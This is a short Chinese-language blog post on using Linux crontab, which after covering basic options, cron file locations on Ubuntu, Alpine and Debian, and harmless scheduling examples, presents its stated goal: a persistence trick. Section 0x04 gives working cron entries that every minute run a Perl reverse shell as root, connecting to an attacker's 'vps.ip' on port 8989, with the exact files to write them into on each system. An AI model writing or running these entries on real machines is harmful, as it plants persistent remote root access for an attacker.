【奇技淫巧】linux 定时任务 crontab 反弹 shell


日期:2018-11-26 13:47:34
介绍:如何使用定时任务来反弹 shell?


0x01、 基本命令

参数

-e:编辑该用户的计时器设置;
-l:列出该用户的计时器设置;
-r:删除该用户的计时器设置;
-u <用户名称>:指定要设定计时器的用户名称。

MAC 直接使用 crontab -e 无效:

编辑 username 的 crontab
$ sudo crontab -u username -e

列出 username 的 crontab,查看编辑后的数据
$ crontab -u username -l

0x02、具体信息

2.1 /etc/crontab 文件

该文件负责安排由系统管理员制定的维护系统以及其他任务的crontab。

minute hour day month week command
对应 分 时 日 月 周

2.2 如何开启服务

service cron start

或者

/etc/init.d/cron {start|stop|status|restart|reload|force-reload}

2.3 配置文件

系统任务调度文件:/etc/crontab
用户 XXX 调度文件:

ubuntu 下路径
/var/spool/cron/crontabs/xxx

Alpine 下路径
/etc/cron.d/xxx

debian 下的路径(xxx 可以是任意东西)
/etc/cron.d/xxx
或者
/var/spool/cron/crontabs/xxx
但是写这个路径的时候,文件内不能加用户名。

ubuntu 直接修改用户的调度文件后,可使用 crontab 相关命令直接查看、编辑。

Alpine 修改了文件,crontab 查不到。。

0x03、具体实例

每天的六点输出信息
0 6 * * * echo "Good morning." >> /tmp/test.txt

每晚的21:30重启smb
30 21 * * * /etc/init.d/smb restart

0x04、反弹 shell

Alpine 系统:将以下内容写入 /etc/cron.d/root 即可。

*/1 * * * * root perl -e 'use Socket;$i="vps.ip";$p=8989;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##

ubuntu 系统:写入的文件是/var/spool/cron/crontabs/root
需要注意的是,ubuntu 不需要在5个*后面加 root。

*/1 * * * * perl -e 'use Socket;$i="vps.ip";$p=8989;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

直接写入文件以后,使用 crontab -l 可以看到加上的任务。

posted @ 2019-06-26 20:31  Bay0net  阅读(6873)  评论(0编辑  收藏  举报